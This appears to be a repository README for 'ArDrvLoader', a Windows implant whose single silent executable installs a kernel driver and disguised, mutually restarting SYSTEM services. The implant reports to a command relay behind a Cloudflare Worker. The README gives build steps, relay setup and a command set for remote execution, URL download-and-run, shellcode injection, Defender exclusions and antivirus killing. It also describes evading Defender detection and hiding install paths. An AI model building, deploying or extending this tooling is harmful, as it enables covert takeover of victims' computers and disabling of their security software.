411 lines
14 KiB
Markdown
411 lines
14 KiB
Markdown
# ArDrvLoader - build, use, test
|
|
|
|
Single Windows client binary that installs a LocalSystem service stack, a kernel
|
|
driver, and a cloud command channel, plus a relay server and a Cloudflare Worker
|
|
that sit in front of it.
|
|
|
|
```
|
|
client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel
|
|
```
|
|
|
|
The Worker stores nothing; the relay owns all state. A client can also talk to the
|
|
relay directly (no Worker) when you want to save Cloudflare requests.
|
|
|
|
- detailed internals: `SERVICES.md`
|
|
- this file: how to build, run and test
|
|
|
|
---
|
|
|
|
## 1. Requirements
|
|
|
|
| Piece | Need |
|
|
|---|---|
|
|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
|
|
| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) |
|
|
| Worker (optional) | `npm i -g wrangler` and a Cloudflare account |
|
|
| Test target | Windows 10/11 x64, admin rights for service install |
|
|
|
|
Repository layout:
|
|
|
|
```
|
|
cpp_end/
|
|
*.cpp *.h client sources
|
|
ArDrvLoader.vcxproj client project
|
|
StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe)
|
|
driver_res.rc stage_res.rc resource.h embedded driver + payload
|
|
build.ps1 build driver → payload → exe, produces dist\<cfg>
|
|
server/ relay server, sqlite, panel.html
|
|
cloudflare/ Worker proxy, mock worker
|
|
agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK
|
|
test-cloud.ps1 end-to-end test against the mock worker
|
|
SERVICES.md deep documentation
|
|
```
|
|
|
|
Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded.
|
|
Place nothing there for a driver-less build.
|
|
|
|
---
|
|
|
|
## 2. Build
|
|
|
|
```
|
|
cd cpp_end
|
|
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
|
|
```
|
|
|
|
Output:
|
|
|
|
```
|
|
dist\Release\ArDrvLoader.exe <- single file, this is what ships
|
|
x64\Release\ArDrvLoader.exe <- build output with .pdb symbols
|
|
```
|
|
|
|
Variants:
|
|
|
|
| Command | Result |
|
|
|---|---|
|
|
| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs |
|
|
| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` |
|
|
| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately |
|
|
| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely |
|
|
|
|
Raw MSBuild, if you prefer:
|
|
|
|
```
|
|
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
|
|
```
|
|
|
|
Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so
|
|
double-clicking it shows no console. Debug stays a console app.
|
|
|
|
Build hardening already applied to Release: `/Brepro` (no Rich header, no
|
|
timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a
|
|
`Trojan:Win32/Wacatac.B!ml` false positive from Defender.
|
|
|
|
### Build-time defaults
|
|
|
|
The exe can run with **no arguments at all**. These macros live in
|
|
`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`:
|
|
|
|
| Macro | Meaning | Default |
|
|
|---|---|---|
|
|
| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` |
|
|
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
|
|
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
|
|
| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty |
|
|
| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` |
|
|
|
|
Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping.
|
|
|
|
---
|
|
|
|
## 3. Run the relay server
|
|
|
|
```
|
|
cd cpp_end/server
|
|
set PORT=8790
|
|
set AGENT_SECRET=testsecret
|
|
set OPERATOR_KEY=testop
|
|
set ENROLL_SECRET=testenroll
|
|
set LEGACY_MASTER_AUTH=false
|
|
set PROXY_SECRET=proxys3cret
|
|
node server.js
|
|
```
|
|
|
|
| Env | Default | Purpose |
|
|
|---|---|---|
|
|
| `PORT` | 8790 | listen port |
|
|
| `DATA_DIR` | `./data` | sqlite file + `files/` payloads |
|
|
| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` |
|
|
| `AGENT_SECRET` | - | master key; per-agent keys are derived from it |
|
|
| `OPERATOR_KEY` | - | panel / operator API key |
|
|
| `ENROLL_SECRET` | operator key | enrollment token |
|
|
| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration |
|
|
| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` |
|
|
| `RETAIN_COMMAND_DAYS` | 7 | command retention |
|
|
| `RETAIN_EVENT_DAYS` | 30 | event retention |
|
|
| `RETAIN_MAX_COMMANDS` | 50000 | hard cap |
|
|
|
|
The server creates its schema on start, opens SQLite in WAL mode, and reaps
|
|
commands stuck in `sent` for over 180 s.
|
|
|
|
Panel: `http://<host>:8790/panel?key=testop`
|
|
|
|
---
|
|
|
|
## 4. Run the Worker proxy (optional)
|
|
|
|
```
|
|
cd cpp_end/cloudflare
|
|
wrangler dev --port 8789 --ip 127.0.0.1 --local
|
|
```
|
|
|
|
`.dev.vars`:
|
|
|
|
```
|
|
SERVER_URL=http://127.0.0.1:8790
|
|
PROXY_SECRET=proxys3cret
|
|
```
|
|
|
|
Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then
|
|
`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure
|
|
forwarder.
|
|
|
|
---
|
|
|
|
## 5. Install the client
|
|
|
|
### One double-click
|
|
|
|
`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults:
|
|
|
|
1. one UAC prompt
|
|
2. installs driver + three services + cloud agent service
|
|
3. waits for the agent to register (id = computer name)
|
|
4. queues `KILLAV` through the relay so the run appears in the panel
|
|
|
|
### With explicit arguments
|
|
|
|
```
|
|
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
|
|
[--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
|
|
```
|
|
|
|
### Services only, no bootstrap
|
|
|
|
```
|
|
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
|
|
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
|
|
ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC
|
|
```
|
|
|
|
Options: `--prefix <Name>`, `--install-dir <path>`, `--keep-location`,
|
|
`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`,
|
|
`--cloud-service`.
|
|
|
|
### What gets installed
|
|
|
|
| Service | Role |
|
|
|---|---|
|
|
| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` |
|
|
| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive |
|
|
| `ServiceStateHost` | re-enables a disabled target service and starts it |
|
|
| `CloudTest` / `CloudSyncHost` | the cloud agent |
|
|
|
|
All run as `LocalSystem`, auto-start, restart on failure, and watch each other.
|
|
Files live under a machine-tagged directory:
|
|
`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\`
|
|
for a non-elevated agent).
|
|
|
|
### Configuration - `HKLM\SOFTWARE\ArDrvLoader`
|
|
|
|
The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop,
|
|
so changes apply without reinstalling.
|
|
|
|
| Value | Type | Default | Meaning |
|
|
|---|---|---|---|
|
|
| `TargetPath` | REG_SZ | - | program to keep alive |
|
|
| `TargetArgs` | REG_SZ | - | its arguments |
|
|
| `TargetService` | REG_SZ | - | service to keep alive instead |
|
|
| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path |
|
|
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
|
|
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
|
|
| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval |
|
|
| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand |
|
|
| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures |
|
|
| `DriverFailMax` | REG_DWORD | 3 | budget before giving up |
|
|
| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` |
|
|
| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start |
|
|
| `AllowVm` | REG_DWORD | 0 | run inside a VM |
|
|
| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions |
|
|
|
|
---
|
|
|
|
## 6. Cloud agent
|
|
|
|
```
|
|
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
|
|
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
|
|
```
|
|
|
|
Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or
|
|
`HKLM\Software\CloudAgent`.
|
|
|
|
### Per-agent keys
|
|
|
|
```
|
|
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
|
|
```
|
|
|
|
Writes `<root>\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET`
|
|
are absent. Revoke from the panel (`revoke`) or
|
|
`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it.
|
|
|
|
---
|
|
|
|
## 7. Panel
|
|
|
|
`http://<host>:8790/panel?key=<operator-key>`
|
|
|
|
- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
|
|
history with `copy result` / `run again`
|
|
- **All commands** - global table, defaults to executed commands, sortable by
|
|
time / agent / command / state / operator / result / duration
|
|
- `run` chip re-enqueues that command for the same agent
|
|
- `+` or the result cell expands the output
|
|
- clicking the row loads the command into that agent's console
|
|
- **Palette** - `all commands (47)` opens every command grouped by category, with
|
|
search; chips with `<args>` load into the composer, others send immediately
|
|
- agent header shows host, user, SID, version, interval, and `revoke`/`restore`
|
|
- offline agents render grey (`online=false` after 3 intervals, min 45 s)
|
|
- broadcast sends one command to every online agent
|
|
- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key
|
|
|
|
---
|
|
|
|
## 8. Commands
|
|
|
|
```
|
|
PING STATUS HELP
|
|
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
|
|
PS <powershell> PS_USER <powershell>
|
|
RUNFILE <path> [args] RUNFILE_USER RUNFILE_SYSTEM
|
|
OPENFILE <path> [args] OPENFILE_USER
|
|
DOWNLOAD <url> <out> [sha256] DEPLOY <url> [args] DEPLOY_SYSTEM <url> [args]
|
|
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
|
|
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
|
|
KILLAV KILLAV_DRYRUN
|
|
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
|
|
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
|
|
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
|
|
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
|
|
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
|
|
SERVICE_STATUS <name> START_SERVICE <name> [path]
|
|
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
|
|
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
|
|
STOP
|
|
```
|
|
|
|
`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped.
|
|
|
|
---
|
|
|
|
## 9. Test
|
|
|
|
### 9.1 Automated cloud test (mock worker, no Node needed in the path)
|
|
|
|
```
|
|
cd cpp_end
|
|
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
|
|
```
|
|
|
|
It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks:
|
|
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
|
|
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
|
|
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.
|
|
|
|
Useful switches: `-Port 8795 -AgentId clitest1`.
|
|
|
|
### 9.2 Manual command against the live relay
|
|
|
|
```
|
|
\.\agent-cli.ps1 -Command "STATUS"
|
|
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
|
|
agent.cmd STATUS # wrapper for hosts with a restrictive execution policy
|
|
```
|
|
|
|
### 9.3 Single-exe client test
|
|
|
|
1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder
|
|
2. Double-click it (Release is silent; use Debug to watch)
|
|
3. Expect UAC → agent appears in the panel → `KILLAV` row completes
|
|
|
|
Verify from a shell:
|
|
|
|
```
|
|
sc query DeviceSetupHost
|
|
sc query ArDrv
|
|
dir C:\Windows\System32\drivers\ardrv.sys
|
|
HKLM\SOFTWARE\ArDrvLoader
|
|
```
|
|
|
|
### 9.4 Driver checks
|
|
|
|
```
|
|
ArDrvLoader.exe -drv status # device=ok embedded=<bytes> fail=N/max state=...
|
|
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
|
|
ArDrvLoader.exe -drv reset
|
|
```
|
|
|
|
### 9.5 Kill-safety checks
|
|
|
|
```
|
|
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed
|
|
ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected
|
|
ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver)
|
|
```
|
|
|
|
### 9.6 AV scan
|
|
|
|
```
|
|
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
|
|
"C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
|
|
```
|
|
|
|
Current build scans clean on engine 1.461.217.0.
|
|
|
|
### 9.7 Uninstall / reset
|
|
|
|
Elevated, in order:
|
|
|
|
```
|
|
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
|
|
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
|
|
sc stop ArDrv
|
|
sc delete ArDrv
|
|
del C:\Windows\System32\drivers\ardrv.sys
|
|
reg delete HKLM\SOFTWARE\ArDrvLoader /f
|
|
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
|
|
```
|
|
|
|
Then clear relay state if you want a clean panel:
|
|
|
|
```
|
|
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
|
|
```
|
|
|
|
A staged payload that was injected into a live host can keep
|
|
`ardrvstage.dll` locked until reboot; queue it with
|
|
`PendingFileRenameOperations` or restart.
|
|
|
|
---
|
|
|
|
## 10. Troubleshooting
|
|
|
|
| Symptom | Cause / fix |
|
|
|---|---|
|
|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
|
|
| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` |
|
|
| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` |
|
|
| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) |
|
|
| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold |
|
|
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
|
|
| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` |
|
|
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` |
|
|
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
|
|
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |
|
|
|
|
---
|
|
|
|
## 11. Known limitations
|
|
|
|
- The client is **unsigned**; code signing is the durable fix for SmartScreen and
|
|
behavioural AV verdicts.
|
|
- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes,
|
|
device ACL) need driver source, which is not part of this repository.
|
|
- `KILLAV` is real: on a test box it disables Defender until it recovers.
|
|
- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps
|
|
you around 17 agents.
|
|
- The "services go quiet, payload takes over" handoff is half-built: the guard
|
|
keeps the stage payload alive, but the payload only runs commands.
|